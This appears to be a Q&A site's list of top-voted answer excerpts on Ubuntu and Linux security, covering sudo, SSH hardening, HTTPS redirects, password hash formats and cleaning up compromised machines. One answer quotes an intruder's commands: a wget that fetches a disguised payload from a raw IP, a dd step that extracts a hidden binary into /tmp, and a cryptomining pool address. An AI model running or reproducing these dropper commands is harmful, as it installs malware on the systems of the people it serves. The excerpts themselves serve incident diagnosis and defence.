Hot answers tagged

85

They are doing this because the next release is an LTS release, which means stability is the primary concern. Xorg has a good track record of stability, whereas Wayland is still (relatively) new. This decision is not permanent and does not mean Ubuntu has given up on using Wayland, just that it has delayed it. You can also opt to use Wayland instead of Xorg ...


81

If you're not using Root, you're using sudo! Sudo is a great way to become root only when you need to. Root is a giant target. What's root's username? Root! I'm so smart :) Logging. Sudo has a greater command of audit logging (so that when someone uses sudo to do something silly, you can tattle on them to the central logging server). This is helpful for ...


63

Google, the major search engine of the Internet (dwarfing both Bing and Yahoo), and the browser used by majority of Internet users, has been pushing for an HTTPS-only world by decreasing the page rank for sites that do not HTTPS, and adding a browser warning when a site is not secure. However, the ratio of HTTPS sites to not is still far too low to recommend ...


60

You should "nuke it from orbit": wipe and reinstall the OS and applications from clean source media, and then carefully restore the data from backup.


60

You should not close off port 80. Instead, you should configure your server to redirect HTTP port 80 to HTTPS port 443 in order to use TLS. You can optionally use HSTS (HTTP Strict Transport Security) to tell browsers to remember to only use TLS when connecting to your site in the future. There is nothing insecure about port 80 being open. Security issues ...


42

Is this a bruteforce attack This looks like the background scanning that any server on the internet will experience. Should I be worried Not really, background scanning is completely normal, as long as your passwords are secure background scanning should pose no risk. What are the best mitigation steps You can use the following to make the server more ...


38

The site you link to is very poor at explaining what they are getting you to do. The root account is not being disabled, but rather, the password for root is disabled. That's what passwd -l does. The intent of those instructions is to make it so that people cannot log in as the root user, because the root account is easy to guess. I'm not sure that their ...


28

@Forest's answer is helpful but I'd like to address the security perspective. While there is a security risk, it's likely considered an acceptable risk, and possibly a feature, as mentioned in @BenCreasy's comment. It's clearly acceptable enough such that Xorg has been the default display server on many distributions for many years. The primary concern ...


23

One of ISO 27001 requirements is management of access control to company's IT resources. If you just install Ubuntu on your laptop, all the access control will be managed by you directly, instead of your company. So when, for example, your manager will want to fire you, then your IT department won't be able to block your local laptop account in a convenient ...


23

Something in your environment has definitely been compromised. It seems more likely that your router has been compromised. You haven't provided much information, so I'm going to make some basic assumptions: You're at home You are behind a commercial router, provided by your ISP You haven't done anything to secure your router Your linux desktop is a DHCP ...


20

Can anyone point out any weakness in this setup, and if you do, how to make it secure? Hardware solutions exist which can grab your system's memory without needing your login. And that's pretty much the weakness - if someone can get access to your system's memory, those passwords (or, at worst, the keys formerly unlocked by those passwords and still in ...


16

It is an old Tradition from the days of the Mainframe. The idea is that root can do what he wants with the machine, including replacing the kernel or destroying the UEFI variables, which can brick the machine. Whereas a non-root account cannot -- unless that account is given administrative rights through sudo, which is what you will have with Ubuntu, and it ...


15

The most common format for hashes on Unix-like systems has the form $ALG$SALT$OUTPUT where ALG is a small number identifying the algorithm, SALT is a salt for the hash and OUTPUT is the output of the hash function. SALT and OUTPUT are encoded in base64. Algorithm 1 is “MD5 crypt”, a construct based on iterating the MD5 hash function. This algorithm was not (...


15

Does the version next to pending refer to kernel version for which the fix is released? Yes- more precisely, the version next to "pending" refers to the version of the package within the lineage in which the fix is included. There are lots of binary packagings of the upstream kernel sources for different hardware platforms and other use cases- "linux", "...


15

The permissions model of Linux means that, even if you are the only user of your computer, you're not the only user on the system. Many services will create their own user account to run under - for example, Apache will usually run under its own dedicated account. What you will also notice is that your home folder is usually only accessible to your own ...


13

Actually there IS a new ransomware (now, not when the question was asked) that is apparently a trojan that encrypts home directories and web root, then asks for a bitcoin to get the decryption key. I can't find any information yet about what the trojan is coming in as, or how it's supposed to be spreading. Basically, stick to the official Ubuntu ...


12

... /tmp/kworker34 ... -o stratum+tcp://185.154.52.74:80 ... Googling for stratum+tcp indicates that crypto-currency mining is going on. wget 91.235.143.237/miu.png -O /tmp/conn dd if=/tmp/conn skip=7664 bs=1 of=/tmp/kworker34 Having a closer look with file /tmp/kworker34 indicates /tmp/kworker34: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),...


11

If you have physical access to a machine, it's pretty straightforward to recover the root password thereby skipping the whole point of having an encrypted drive. You might be mixing things up here. Root passwords and full-disk encryption passwords are not the same thing. At least they shouldn't be. Root passwords are what you use to log in as root/admin ...


10

Assuming the router follows the glibc standard for password hashes, the second field ($1$$N76hdwGfg11g0KdKbtyh21) is the password, and is encoded as follows: $1$: iterated MD5 hash $: No salt N76hdwGfg11g0KdKbtyh21: the hashed password, in base64 encoding. In hex encoding, it would be 37bea177019f835d60d0a74a6edca1db


10

How can I defend against malicious GET requests? These requests do not look really malicious. At least based on your description they don't cause any harm, i.e. no unwanted code execution, SQL injection or similar attacks. They only need some resources to process. What you see is what every operator of a web server can see in the log files: lots of requests ...


10

If I was having a conversation with someone about this subject, I'd restate your question as this statement: If you have physical access to a machine, it's pretty straightforward to bypass or reset the root password, which is the whole point of having an encrypted drive. The idea being that you can very easily reboot into single-user / maintenance ...


9

That's because you are trying to use an ECDH cipher suite, and not and ECDHE cipher suite. ECDHE-RSA: the server's certificate contains an RSA public key; the server generates on-the-fly a new elliptic curve Diffie-Hellman key pair, and signs the public part, that the server sends to the client. ECDH-RSA: the server's certificate already contains an ...


8

It's always a question of effort vs result. If an attacker has gained complete control over the system, there are thousands of things that can be replaced or trojanized. Hunting them down one by one is a very time consuming task. If the attackers aren't very sophisticated, you can start by searching for files that have been modified recently. One starting ...


8

The ISO 27001 is* about documenting what you do, how you do it, and what controls you have in place to audit that things are the way they are supposed to be. That means that the typical laptop installs is very, very standardized with known templates (how you do it). The PCs are likely to be installed in an Active Directory with GPO enforced and monitoring in ...


8

From your logs, there are no break ins. It shows a lot of connection attempts, but no authentication successes. And the IP 128.199.139.46 connected but timed out before finishing the authentication. A couple suggestions: Don't log in as root Use another user to login and use su or sudo afterwards. Use public key for SSH login It's much, much more secure ...


7

Yes, this can happen. This attack is typically targeted at MS Windows users. The counter measure is, as usual, to have all your components up to date. Note that the light of your webcam will be on, which is an indication of the attack (it is not possible to disable this functionality it may be possible to disable the light on older machines or specific ...


7

Use key-based authentication for SSH instead of password authentication Change your SSHd port to something other than 22 . This is security through obscurity but is probably justifiable in this case. fail2ban users that try to connect on port 22 or try password authentication


Only top voted, non community-wiki answers of a minimum length are eligible